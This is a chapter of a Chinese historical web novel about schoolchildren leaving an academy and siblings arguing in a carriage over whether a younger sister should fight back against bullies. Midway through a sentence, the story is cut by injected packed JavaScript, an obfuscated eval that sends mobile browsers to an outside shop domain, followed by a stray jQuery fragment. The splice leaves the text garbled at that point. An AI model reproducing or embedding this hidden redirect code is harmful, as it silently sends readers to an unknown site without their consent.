晨钟暮鼓，青山书院散学的时辰到了。
钟声从书院钟楼悠悠荡开，掠过黛色瓦当，掠过桃林与柳岸，传向山脚下的官道。东院学堂的少年郎们整理好笔墨纸砚，将案上的书卷归置整齐，砚台里未干的墨泛着最后一缕微光。
他们与先生恭敬作揖告别，步履从容地踏出学堂。有人登上等候已久的马车，有人则结伴走回书院后方的学舍，三三两两散在暮色里，仍在低声议论着方才课堂上未竟的辩题。
西院学堂则完全是另一番景象。那些九岁到十一二岁的稚童们，也与余老先生恭敬告别——不过那恭敬只维持到踏出学舍门之前。门一推开，他们便如出笼的鸟儿，呼啦啦地飞出学舍，飞出青山书院。尖叫声、笑闹声、脚步声搅在一起，把书院安静了一整天的空气搅得沸沸扬扬。
每一次散学，宋含章与霍凌霜都要比试速度——谁更快飞出书院大门。这成了她们之间无数场较量中的固定较量。
这一回，宋含章仗着身形壮实冲劲猛，抢先一步冲出了书院大门，脚步踏在青石板上震得地面微微发颤。她转身看着落后的霍凌霜，圆滚滚的脸上浮起得意的笑，那笑容在夕阳里格外灿烂，像是赢了一场了不起的大仗。
书院门口，各家府上的仆人和马车早已排成了长队，等着接自家的小主人回府。马儿打着响鼻，车夫们互相打着招呼，有几个相熟的仆人凑在一起低声交换着各府里的新鲜事。
霍凌霜紧跟着冲出书院大门，看到宋含章早已插着腰站在那里，脸上那股得意劲儿还没散尽。她输了速度，心里正窝着一团火，冲到宋含章面前，也不废话，昂着下巴道："明日比试抓蛇，把蛇开膛破肚，生吃蛇胆——你敢不敢？"
宋含章双手抱胸，连眼皮都没眨一下："谁不敢，谁就是王八。"
霍凌霜见她应得干脆，冷笑一声，那笑容里带着三分不服、七分兴奋，昂起头便踏上了自家马车。
宋行简缓步走出书院大门，身后跟着他的养弟程国恩。夕阳的金辉落在他身上，十七岁的少年身姿挺拔如松，眉目之间继承了母亲宋夫人的美貌，骨相极好，五官轮廓分明却不失柔和，是那种站在人群里便让人移不开目光的俊朗。
宋四维本就学富五车，亲手把大儿子教养到十三岁，便将他送到青山书院跟从王谦山长求学——在宋四维看来，真正的学问不在自家的书房里，而在更广阔的天地间。将大儿子托付给青山书院之后，宋四维便腾出时间去教养大女儿宋玉章，以及那对比宋含章还小两岁的双生子小女儿宋引章和小儿子宋清扬。
与宋行简同在青山书院念书的，还有宋四维的养子程国恩。
说是养子，却与亲子无异。十年前，宋四维途经归去河时，看见一个木盆顺流而下，盆中躺着一个五六岁的孩童，不哭不闹，只用一双乌黑的眼睛静静地看着天空。宋四维立刻跳入河中将他救起，带回了宋家。这孩子无父无母，无亲无故，连名字都没有，只知道自己姓程。
宋四维便给他取名"国恩"——感念国泰民安之恩，也寄望他将来成为国家的栋梁。程国恩与宋行简同岁，天资极高，读书过目不忘，宋四维待他如亲子，一样花心思培养，从不曾因他是养子而有半分偏颇。宋行简也视他如亲弟，两人自幼一起读书、一起习字、一起在宋家的书房里度过无数个点灯夜读的晚上，感情甚笃。
此时，先一步冲出书院的宋含章正站在自家马车前，圆滚滚的身影在夕阳下被拉成一个椭圆，双手抱胸，下巴微扬，等着大哥和二哥。
宁安侯府的马车恰好停在宋家马车一旁。顾子衿从书院出来，路过宋含章身边时停下脚步，朝她微微一笑，挥了挥手，温声道了句"含章，明日见"，便踩着脚凳上了马车。她的动作轻巧而优雅，与宋含章的大开大合形成了奇妙的对比。
顾承泽和顾子佩跟在后面，两人不约而同地瞪了宋含章一眼——顾承泽的目光里还残留着荷花池的寒意，顾子佩的目光里则藏着被坐在地上三个时辰的屈辱。
可宋含章只是挑了挑眉，两人便立刻缩回了目光，加快脚步钻进马车，仿佛多待一瞬就会被她一把拎起来。侯府马夫见公子小姐都已坐稳，便拿起缰绳，马鞭轻轻落下，马儿扬起蹄子，车轮碾过青石板，渐行渐远。
曾思雨、沈十安、钟荀彧也各自登上了各家马车，车轮辘辘，仆人们吆喝着马匹，一辆辆马车在夕阳里排成一队，缓缓驶上官道。沈十安上车前往宋含章的方向瞥了一眼，目光复杂，嘴里似乎嘟囔了一句什么，随即用力拉上了车帘。
宋含章站在自家马车旁等了一会儿，才看见大哥宋行简、二哥程国恩和大哥的好友洪楚离并肩踏出书院大门。
三人边走边说着什么，宋行简眉宇间还带着方才论学的余韵，程国恩则神色淡然，目光沉静，像一潭看不透的深水。洪楚离与宋行简、程国恩在书院门口拱手告别，翻身上马，马蹄声脆响着远去。宋行简便拉着妹妹登上了马车。
马车缓缓驶动，马蹄踏在官道上，车身轻轻摇晃。车窗外，京城的街巷正浸在暮色里，远处传来晚市的喧嚣，炊烟在青灰色的屋顶上袅袅升起。
宋行简坐在妹妹对面，看着她圆滚滚的脸，问道："今日可有人辱骂你？"
宋含章双手抱胸，扬起下巴，神色里带着几分骄傲："暂时没有。"她说"暂时"两个字时语气很重，仿佛那是一件值得炫耀的事。
宋行简看着妹妹那圆圆的脸，真是又爱又恨。他伸手想摸摸她的头，手伸到一半又缩了回去——她不喜欢被人当小孩子对待。他仔细端详她的眉眼，忽然注意到妹妹右眼角那一颗黑痣，在昏暗的车厢里若隐若现。
那一瞬间，他想到了好友顾承宇——顾承宇左眼角下也有一颗黑痣，像是星子坠落在眼角，带着几分说不清的魅惑。他忽然想到，含章和承宇，一个痣在右，一个痣在左，仿佛冥冥中某种对称的命运。
其实，宋含章只是身材壮硕偏胖。若细看她的眉目五官，底子是极好的——眉峰有英气，鼻梁挺直，嘴唇饱满，一双眼睛又亮又黑，像两颗洗过的墨玉。只是那一身壮实的体魄，旁人便很难越过她的身形去注意她的面容。
如果瘦下来，也是顶好的美人胚子。毕竟，宋四维和宋夫人的容貌都是万里挑一的——一个玉树临风，一个风姿绰约——这样的父母，怎么可能会生出丑孩子？
程国恩坐在宋行简身边，沉默了片刻，忽然开口。他唤了宋含章的小名，声音不高，像是随口一提："团团，以后别人辱骂你，你还手时，注意不要留下痕迹，免得落下证据。否则那些人拿着伤处找上门来，闹得父亲和母亲不得清静，最后受罚的还是你。"
宋含章一听，眼睛亮了，赶紧凑近了些，压低声音道："二哥，知道了。你教我打人不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17618684|206141||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
留把柄的那些法子还真好使——只会让人疼得龇牙咧嘴，什么痕迹都不会留下，他们想告状都拿不出凭据。"
宋行简听了一惊，立刻侧头看着程国恩，眉头皱了起来："你还教团团打架？"
程国恩面不改色，语气平静得像在说今天晚饭吃什么："略微教了一些。她要自保，拳脚总要有点章法。"
宋行简扬起手掌，啪的一声拍了程国恩一巴掌，力道不轻："你还嫌团团惹的事不够多？"
宋含章立刻拉住大哥的手，护在程国恩面前，语气急切而认真："大哥，我从没惹事——但是，我从不怕事。再说了，那些事都是他们挑起的。"
宋行简看着妹妹，张了张嘴，那些在他心里背得滚瓜烂熟的大道理正要倾泻而出。
宋含章似乎早就料到他要说什么，伸手一把按住他的嘴巴，抢先开了口，语速飞快："大哥，我知道你想说'忍一时风平浪静，退一步海阔天空'。可是，你不是我。那些难听的话没有落在你身上，你永远无法真正体会到我的难过。有些人，你越给他脸，他越蹬鼻子上脸。对于这些人，讲道理太费劲，拳头最有效。"
宋行简愣住了。
不是因为她说的这些话有多么深奥——这些话并不深奥，甚至有些粗糙——而是因为这是一个十岁的女孩说出来的。
他十七岁了，读了十年圣贤书，学了一肚子仁义道德，却在此刻被妹妹几句话堵住了嘴。她说得不对吗？他问自己。可他同时也知道，用拳头解决问题不是读书人该有的方式。两种念头在他心里拉扯，谁也没能赢过谁。
程国恩在一旁低声道："大哥，这个世间，很多人都在说'理解'，说'感同身受'。可若是没有真正经历过，我们永远无法理解别人受过的痛楚。你不是她，她不是你。道理可以说给别人听，但选择，只能由她自己来做。"
宋行简看看妹妹，又看看程国恩，嘴唇动了动，终究没有再说什么。不是无话可说，而是他明白，有些道理需要在时间里慢慢浸泡，才能泡出味道来。
他想起自己在书院里与同窗辩论"以直报怨还是以德报怨"，那些引经据典的滔滔雄辩，此刻在妹妹面前显得如此苍白。真正的"直"是什么？真正的"德"又是什么？他忽然觉得，自己读了这么多书，也许还不如妹妹活得明白——至少她知道，被人欺负的时候不能趴下。
马车继续向前驶去，车厢里安静了片刻。宋含章靠在车窗边，掀起车帘一角，看着窗外流逝的街景。暮色把她的侧脸镀上了一层温柔的金色，那颗右眼角的黑痣在余晖里闪了一下，像是这落日留在人间的一个小小的印戳。
宋行简看着妹妹的侧影，心里涌起一股复杂的情绪。他记得父亲曾说过，含章这个名字，是希望她怀藏美质而不显露。可如今看来，她的"美质"确实不显露——不是藏在温婉里，而是藏在那一身倔强的骨血里，藏在那一双从来不低头的眼睛里。
夕阳无限好，一辆辆载着公子小姐们的马车踏着暮色，穿过京城的街道，各回各家，各归各院。官道两旁的柳树在晚风中轻摇着枝条，像是在与这一天的少年意气挥手作别。
那些车辙在尘土中留下的痕迹，很快便会被明天的晨露覆盖。而这条路上，还会有无数个这样的傍晚——马儿扬蹄，车轮转动，载着一车厢的欢笑与叹息，一车厢的懵懂与成长，缓缓驶入京城。